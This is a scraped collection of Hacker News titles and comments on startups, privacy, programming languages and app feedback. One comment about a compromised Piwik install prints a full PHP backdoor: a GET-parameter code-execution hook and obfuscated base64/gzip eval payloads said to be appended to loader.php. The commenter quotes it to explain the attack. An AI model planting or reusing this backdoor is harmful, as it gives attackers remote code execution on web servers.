skysight-inc/HackerNews huggingface dataset:
UI Library: effective way to organize interface components. Writing CSS
Why British entrepreneurs lost out on London 2012
Downloading now, but I'd change the description of the in-app purchase so people can read it on the app store; it currently truncates. Instead of 'Feature to enable export' just say 'Export diagrams'. Looking forward to trying it out.
Co-Working Etiquette: 8 Simple Rules
Apple's Siri assistant coming to 2 Chevy cars in 2013
The Hypejar Name and Logo: The Story
Ruby Conf 12 - Real Time Salami by Aaron Patteson
There's no such thing as no maintenance cost. Everything has a maintenance cost. Make sure unused code doesn't break takes time and resources. Breaking code makes your product look unprofessional.
I work for several very large telcos and I have been, so far, able to avoid both .NET and Java. Last time I wrote C# code was because Microsoft (then a client) demanded we run our application on a Windows server. I wrote a proxy that sat in front of the application (which ran on a Linux machine).

Again, you need cooler friends.
How would my data (say status updates) be stored? On a single server of my own choice?

How do you decide who has access to what? Will it be somehow encrypted, so that only a subset of my contact list could get access to a part of it?

Would I be able to move all my data to a different server if I decided it is no longer trustworthy?
Ask HN: Does anyone know why Hacker News was down today?
Is the startup crunch coming?
Pow with Laravel
Please don't assert logical fallacies as the truth.

"x86-64 is slower because pointers are larger" does not follow from "Firefox's JavaScript engine is slower and uses more memory on x86-64"
I personally don't see a huge difference between the traditional skilled trades and being a software developer.

One of my brothers, who is a carpenter, cares as much about wood (species, age, drying method, etc) and his tools as I care about computers and my tools. We both spend way more time than "normal people" caring about the things that matter to our craft.

Disclaimer: I'm a big fan of the software craftsmanship thing. I may be an idiot.
Facebook's response to the privacy notice: http://newsroom.fb.com/Fact-Check
I wonder why the focus is on MDMA? IMHO it's entirely possible that the same or better effects could be found from a related substance like MBDB, and some (again like MBDB) seem to be less toxic than MDMA.

The page also mentions that the reputation of MDMA preceded it and may have had an impact on the study. Using a less well known substance may have tackled this.
yesterday around 9:30EST and this morning.

Can someone post some info as of what have caused it..
E-Book Subscriptions: A New Publishing Model?
Are we ready to archive our online lives? Archify hopes so
I agree that nothing solves all possible problems. But it's a huge jump from "there is no silver bullet" to "changing the language doesn't bring ANYTHING". Likely, it is quite a bit more subtle in practice. Preventing "obvious" errors (which really aren't always that obvious) that safe languages could minimize is already a great start, as many systems are rife with them.
I hate this centralized real-life association to a real person deal.

I only use my name here on HN because I feel it's a professional outlet just as much as it is a forum for interesting articles. But I do NOT want to share personal information with some services. The Play store is one of them.

This is terrible news for users.
Yes, I was referring to ABI compatibility. You are probably referring to source-level compatibility. If it's compatible at the binary level, it's compatible.
Look around at all the exceptional people of our time. Jobs. Ellison. Every gifted, and I mean truly gifted, person I know or know about had a bizarre upbringing or background, and the vast majority of them are complete jerks. To rise above what is normal, it really helps if you are not given normal upbringing and stimuli early in life. And, when that is the case, you will likely step outside the bounds of what normal society views as acceptable behavior. Jobs is the best example from our time. By his own authorized biography, he was a complete asshole, but he did amazing things.
Microsoft’s problems: Another data point
If everybody was forced to have the mic and camera on all the time on their cellphone, I bet the police could catch even more criminals. That is obviously a strawman, but there is a point: there will always be a tradeoff between privacy and safety. I'd rather not give up my privacy to combat what are essentially black swan events.

With my base opinion out of the way, I will say I would be comfortable with the kind of tracking you mentioned if there were strong protections on what the police could do with that data. For instance, the phone's owner should be protected from prosecution in similar ways to evidence gained from an illegal search. This data should also have a maximum lifetime. Finally, it should be clear when the records are being requested so the owner of the number can turn it off if they move the number to a new phone.

Unfortunately, I can't imagine these kinds of laws being passed, so, until they do, I'll stick with my default of believing the government should require more effort, not less, to snoop in my life.
I'm no fan of recruiters myself, but using ONLY GitHub can be short sighted. Not everyone contributes to open source. GitHub has yet to launch products for recruiters. Honestly ... that is a really tough space, and the top guys at GitHub need to figure out if they want to make that a real business or not, because a half hearted investment is not going to benefit anyone.

I think there is some value in LinkedIn integrating with GitHub, but why not just more robust links? What's the value in showing recent checkins, when I can just click through to GitHub and see EVERYTHING?

It's easy to blame LinkedIn here, but this was likely a mutually beneficial outcome agreed on by both GitHub and LinkedIn. LinkedIn didn't want to maintain the APIs GitHub uses; GitHub doesn't want to have to update its app.
MDMA is what's popular in the recreation scene and so will draw attention over others; Even Madonna not-so-subtly promotes it through her "MDNA" album and tour name - though most are none-the-wiser.
Map-Reduce Style: Data Aware Distributed Querying in vFabric GemFire
Searching for the super programmer
I like bitcoin: it started out as a protocol and reference implementation. That's what we are trying to do today.

And I wouldn't be surprised if there is a a large overlap between bitcoin-ers and buddycloud-ers. Encryption (Client to server connections are encrypted. Server to server connections are also encrypted.) And Decentralised. And built around a common protocol.
I've posted hundreds of comments here on HN but I believe this is the first time I have voluntarily proclaimed my "Serb-ness" so perhaps I am not the typical Serb that is always pointing out their nationality (and I only did it this time because it was the reason I know about Mileva Maric). But I have a few theories as to why you may think we are always pointing our nationality or at least seem to:

1) It is a immigrant thing. When you feel that you are being identified as the "other" you get the urge to preemptively "come out of the closet" as an immigrant in a show of good will towards your native hosts and try to fit in. It's a way of saying "Hey guys, I know I am this scary foreigner, but really I'm just like you so can we be friends?" I've experienced this with people of many other nationalities and ethnicities where the conversation will inevitably turn into them telling me about their country of origin.. which I don't mind since I enjoy learning about different cultures.

2) Maybe you encounter a disproportionate number of Serbian people in your daily life so point #1 is magnified, or perhaps because of your own background or personal reasons you are overly sensitive to the idea of Serbian identity.

3) Serbs do tend to be sensitive about their ethnic identity because many of us feel that we have been misrepresented and not entirely fairly villainized in the media, while at the same time also being victims of long standing ethnic hatred in our native countries, so insecurity borne out of that treatment motivates an exaggerated sense of nationalism in some of us.

Hopefully one of those, or a combination of them, explains why "Serbs are always pointing out their nationality".
I don't think it's just a problem for women. Most of us enter adulthood with terrible negotiation skills, especially in engineering. I certainly did. The percentage of people who are decent negotiators is small and, empirically, most of them seem to be men.

Successful people negotiate everything: job title, compensation, authority in hierarchical companies, project allocation. If turned down for a raise, they get a better project or a "meaningless" title that improves the CV. They're resilient against rejection (an inevitable outcome of negotiation) but they keep trying and working to improve. The rest, who don't, get mediocre results-- male or female. In software, there are a lot of people who don't know how to negotiate-- at all.

In school, we live in an artificial environment where everyone is assessed on similar projects and grades are fairly objective. So negotiating for a better result-- a B rather than a C-- is seen as dishonorable and weak. You should have studied harder. This no-negotiation zone is reasonable in a world where grades are (in comparison to workplace performance reviews) exceedingly fair and 90-95% get passing grades. If you're on the threshold (a 'D' student) it means you were a weak performer who managed to squeak by.

But in the real world, for promotions and favors and work autonomy and VC funding, pass rates are << 50% and if you don't have it in you to negotiate for a better outcome, you're screwed.
Yeah for about 5-10 minutes. It happened a couple of weeks ago too I believe and it lasted for hours. I thought it may have been a problem on my end because other sites (not all) weren't working either, and I don't think I even saw anyone mentioning it here. Is HN hosted on Amazon?
I never said anything of the sort. Maybe read my posts before replying to them?
There is very little crime in North Korea, as well.

Source: lived in NYC, visited DPRK
The article says that the malicious code has been appended to the loader.php file. The malicious code cited in the article is abridged, here is a complete version:

<?php Error_Reporting(0); if(isset($_GET['g']) && isset($_GET['s'])) {
preg_replace("/(.+)/e", $_GET['g'], 'dwm'); exit;
}
if (file_exists(dirname(__FILE__)."/lic.log")) exit;

eval(gzuncompress(base64_decode('eF6Fkl9LwzAUxb+KD0I3EOmabhCkD/OhLWNOVrF/IlKatiIlnbIOZ/bpzb2pAyXRl7uF/s7JuffmMlrf3y7XD09OSWbUo9RzF6XzHCz3+0pOeDW0C79s2vqtaSdOTRKZOxfXDlmJOvp8LbzHwJle/aIYEL0YWEpFGwk4nZr4zkRGQsJn3kMND6jcBgayIKnkIX3n2tu1EieGARMoH3W8NXjBp4JAVQq8GFR/KcAbcyoSfhX9vzeU0R8K3mH313Q4UnAykzj9707HzHZ67PJndpyPSqKHbZ0kLq6N0s5KdDxSKYz7wkwE80mW6e3m3gbz8l0i2jh50b2sRJEnwjxJ1tOjVvumO9RrPHsT9BZNSN0qm2F2TlLDO9EqSNMADWCHW/LmLsvmbn009XNOA38yH6qNUm+a97jyA55xzFpgViGxa2SlN2ObBZQeuxwwL9kocnrzBWVXDMo='))); ?><? eval(gzuncompress(base64_decode('eF5dj1tvgkAQhf+KDyRq0gdYUCGGB7RCaYGmwC6BpjHLpStXjbgoNv3vBUybxofJzJmc+U7mk1bRKd1Xoy0niAuBBzPATZh0+sVgWTkecTsZu540x96l9h2RMzKFvKjxISztJubNha7Crv40cYs3YjnC5bVdFWHKIXitSVT5c9MRBCPbUCvNiQ1QhoHYmJlytq4Kb2aQ2GXRBl7QJGux7TKouRbA+GHsqDaEqqS7nAU7CXNkI4hcpEoI5rncrZ6JPDRX7/34yWajx31j8Ks25C02BAWIAKQ+kE4GT2ik7c6dzQCXg9/O6hBE/XFUojLIWPkXoAzI0EMs1qS8z91ILrptOxKNNUTjm/znxxraBRpqB6B+x71L9J16MGgFj71hXPd/TJfH5ESP1SjEdTIXtnES7eNkwuB3Jv2YLr9/AJyvggM='))); ?><? eval(gzuncompress(base64_decode('eF59VH9r2zAQ/SouBGoxE3SSf2I0lnVOCXhxsZ3tj2BE2JIRKMnwEtgo/e47ycliuZMDcpDu3rvT6d5lbXtsZbn9eWxP+8MPtz2eD99dSkg6kVRcdu8CtQUhwY8jn7OAAbrgERMTWWXll6xc921AGmf6XwsjTQd7zIuPs7xa30sOCUsSRkN536xp4/bdOfH6W594CFaBuZELprffuTZOaKwmhuHkfJFnUhJn2qcMCSHb3/tTujsfvp32x4PzLCV1J9LHFABXgCskLxMZWS/DGxdztRh9zEpG3sOqzIunWuIfEvp2/2Dgj8WdPWbLWqVjR4Umql58zoqVwgR2TGRi5kWeF1/z4mFWL4qld20JOmXB4EPsnLHJWWb1qlzW5WxZzbOyzzlcI5yJyflUVHWPifd+49uREEDfxpgvsvxTZfRlRFS7h6oxY2s3AGiukWDs4tBuT+f24CBZ+tpvP0Bzot6bqg8IPGKqA4GJTdtu/hjSiYl477w9TtSxoVVqagxAeaggpFMVRnLuhHBu0Uyto6TNA04aoVDpK365vR5cXRe0nMEXH6x+WimJmSROgt3m+ddWFYLrPO8UC3m51E4bMQEbp1YT+N5twOk0gpE0wg5yLUrgCCyKjjOM+u/9INA1CMXl8bh5iUC3Dbsyhs6N8IqiGtVNHNoNP8VonzmA6rVPwtg67wAHnpldNKYLrT2ITEQ85ExGKBjtKEj6F8qIppY='))); ?>
"Those who would give up Essential Liberty to purchase a little Temporary Safety, deserve neither Liberty nor Safety." - Benjamin Franklin
New, thinner iMacs available on November 30
i didn't read this, but i always wondered if women's salaries are lower on average because of a reluctance to negotiate. (thus citing that women's salaries are lower than men's has nothing to do with gender bias?)

I'm not trying to say that discrimination is ok, I'm just saying that the typical system requires you to ask for money, you're not just given it out of the kindness of your employers heart.
Paul Vs Paul: Fundraising and YC VC
Building your own using Evernote is easy. I don't always need all the details. I just need to find it again when I need it.
s/recruiters/spammer recruiters
Programming can be really helpful for teaching mathematical thinking and reasoning. It's a fun way to approach the subject from a different angle.

Many kids hate math but might enjoy programming. It's important to engage students. They'll learn a lot more if they enjoy it.
At IBM, we were very keen on what we called 'FFDC' - 'first- failure data capture'. This meant having enough layers of error-detection, ideally all the way down to the metal, so that failures could be detected cleanly and logged before (possibly) going down, allowing our devs to reproduce and fix customer bugs. Naturally it wasn't perfect, and it depending on lots of very tedious planning meetings, but on the stuff I worked with (storage devices mainly) it was remarkably effective.

In my experience in more 'agile' firms - startups, web dev shops and so on - it would be very hard to make a scheme like this work well, because of all the grinding bureaucracy, fiddly spec-matching and endless manual testing required, as well as the importance of controlling - and deeply understanding - the whole stack. Nonetheless, for infrastructure projects like Redis, I can see value in having engineering effort put explicitly into making 'prettier crashes'.
Are any of my friends on it ?
Much of this dramatic reduction in crime happened before stop & frisk and the subway checkpoints, which have only come in recent years.
It mirrors what they did with Google Places, when they changed it to Google Local.

http://www.google.com/places/
Is Foursquare's Bubble About To Burst?
Purchase Agreement, Shareholders Agreement, And Rights Of First Refusal
I completely agree. I'm not a developer of Android apps, just a user. No longer will I post a negative review, for the reasons you mentioned. This will have the unintended side effect of reducing the quality of reviews and that is a very bad thing for Android users.
Why Software Engineers are (Vastly) Undervalued
>whether it has changed in a way that makes the positions held by rms less relevant or appropriate is quite another question

It's the only relevant question in this thread. I'm sure that there's been some global temperature change since the GPL was come up with, but I'd like to hear a case about why it matters.
API Documentation Matters More than Performance and Functionality
Novice or master, what should it mean for a developper?
There are some legitimate uses. The pear SOAP library used it to generate access classes based on WSDL-Files - don't know if they still do that.

Anyways, disabling eval doesn't buy you much: If you really want to execute code, write it to a file and then require that file. You can plug that one by making all directories you can load code from unwriteable, but then I could just go and call create_user_func() which is eval in disguise.
Very nice job! I sent you a couple bucks.. it's not much but if I use them for something I'll send more :)
The 25 Oldest Domains, Starting With Symbolics.com in 1985
Those who would give up Essential Liberty to purchase a little Temporary Safety, deserve neither Liberty nor Safety.

I normally hate people who just throw quotes up to answer a question, but this one seemed appropriate.

I will never live in NYC (though I do travel upstate quite a bit). There are plenty of large cities in the world that are safe or safer without also being police states.
Your screenshots don't have to be literal screenshots. At first glance, there doesn't seem to be anything special about your app. Its main feature is un-advertised!

I would suggest some sort of transitional photo. Show the sloppy drawing fading into the crisp flowchart. Maybe a little text on the image. "Draw flow charts in seconds!".
Google mobilizes users in fight for its robots' core values
Did the Feds Set-Up MegaUpload?
Your profile page behaves weirdly when viewed on iPad. The scrolling is jerky and clicking the title bar doesn't scroll to the top like it should.
I don't want to be seen as a troll, but for a development laptop System76 provide high quality but reasonably priced Ubuntu laptops.

You'll come to thank the Ubuntu / Debian package manager when it comes to setting up the dev env.. ;-)

http://www.system76.com

You could also of course run Ubuntu on IBM, Lenovo, Dell, Apple or any other manufacturers box.
If it was your phone, you could have given the police access to your call records, couldn't you?
Trying to sell his books. I don't see any added value in his list.
The Difference Between Stealth Mode and Quiet Mode
There's space for both. Coding skills are a single dimension, and should never be the sole attribute for hiring good developers. It's about time management, project management, people management. I want to see your code, but I also want to see what you were able to do on the teams you were on. And if you were on a failing product - I want to know that, and ask you why.

There's something to be said about being able to manage successful open source projects with lots of contributors. That's a huge plus in my book. The majority of programmers, though, are not going to be working on projects like this. A smaller plus is when you contribute to a large, quality project, because it shows you can learn to understand a new codebase and determination to get your patch in.
You could use the left/right arrow keys if you want.
The unit of sharing is the channel. You start with a personal channel user@domain.com and can create any number of new channels (holiday-photos@domain.com). Each channel has followers, moderator etc that you can control access to (or just set it as public): https://buddycloud.org/wiki/Channels_Explained

Think of the architecture like your email provider: You can always grab your mail spool and find a new provider. buddycloud is not dissimilar - just grab your posts and followers from the API and import them on a new provider. We're make this easier soon but, the data and endpoints are all there to facilitate it.
Works for me.
It's in additional services. The sorting places it after everything else that starts with "Google"
More Open-Source Projects Eyeing Up C++11
There are advantages for readers as well. Assuming it will work like Google Local, then reviews from people you are connected to will be emphasized, and if you wonder about a specific review you can see a profile of the reviewer. Does he hate all Mexican food places, or only this one?

The direct disadvantages are for the reviewers, who are the ones who loose anonymity.
Now, signed downloads might have helped if the keys are placed in a different spot than the download. But I guess nobody bothers to check signatures anyways.
Computer "Apple 1" sold at auction for half Million Euros The Record
Apologies, you are correct, I was thinking of exec.
Appmenu (menu bar inside WM decoration or panel) support in KDE 4.10
I was happy with a System 76 pangolin a few years ago. Only problem was the battery life. I looked at their newer offerings, and they look nice. Does anyone have experience with System 76's newer models?
Unexpected data from the Large Hadron Collider suggest a new type of matter
Google's manual is revealed for its unseen humans who rate the web
These court rulings do not help consumers and Google is smart to proactively let them know how they'll be affected.
It was exactly the same story that I posted 6 hours earlier than bornhuetter. I even took the time and added some more related links. Why do I get downvoted for my comment here? I don't get it.
Me too, I will never review an app ever again.
I didn't realize this was a US company because of the awful website copy. The content is just appallingly bad, and seems more like something fit for a web squatter or an eastern-European warez site.
Piwik should release a new version so all users get a message about updating in their dashboard. That way someone who doesn't see this alert would be more likely to fix it.
This site[1] seems to indicate that golang.org is reachable from within China, but I have no clue how trustworthy or representative it is.

[1] http://www.greatfirewallofchina.org/
You can enable it in the control panel, under 'Organization & users'. It's listed as Google+ but appears alphabetically after all the other Google things.
So we have to solve three big problems: build a distributed architecture, build great reference clients, get massive adoption. We've almost solved two of those and have a team working on the third problem: https://buddycloud.org/wiki/K-Factor_Project

tl;dr

* find existing friends on buddycloud using other social networks as pointers

* post out to existing social networks

* give users a way to invite Twitter, FB etc friends in

* build a build a Facebook vacuum-cleaner that helps move a users existing content over (depending on API restrictions).
Reuters: Bitter struggle over Internet regulation to dominate global summit
App Store marketing suggestion: say what makes you distinct as near as possible to the beginning of the description text.

Which here I think means, get your sketch-recognition feature as near to the beginning of your description as possible. Only the first sentence or two show up in the web and desktop-iTunes store (don't have ipad with me now), until you hit "...More" to expand the description.

Maybe replace "with extreme ease" with something along the lines of "simply by sketching shapes with your finger".

You could also use the first screenshot slot to show a nice illustration of the UI procedure. For example, a photo montage of a finger sketching a freehand shape, and then that shape re-rendered by your app.

The icon too, could be used for some rendering of the freehand concept.

Maybe I'm missing what makes Lekh distinct, but if it's this, show it off as much as possible -- don't bury it in text!
Where you're wrong is that most kids don't tend to know the basics of programming. They know the basics of using a computer but generally have no idea how to program or what that even means.

We're not insisting that everyone should write code for a living just like high school music classes aren't insisting everyone be a musician.

However, just like music, programming is an enormous part of our world and getting exposed to it in high school is really important.
The Biggest Startup Conference In The US Is Only $295 To Exhibit 1100+ attendees
Show HN: Gifts for iPhone, a simple gift tracking app
From what I understand this 95% figure is not that far off from what is obtained in anti-depressant trials, but somehow the poor blinding of anti-depressant trials is almost never mentioned as a serious methodological problem.

This is discussed in more detail in Irving Kirsch's The Emperor's New Drugs.
D has static-ifs as a part of the language. It enables the exact same kind of conditional compilation, but without using a pre-processor: http://dlang.org/cpptod.html#metatemplates

The latest version of D is compelling. It's mostly a reasonable cleanup of C++. It retains all of the power, but the design learns from the decades of experience. The problem is that it's mostly a reasonable cleanup of C++ - it's not different enough to stand out, I think.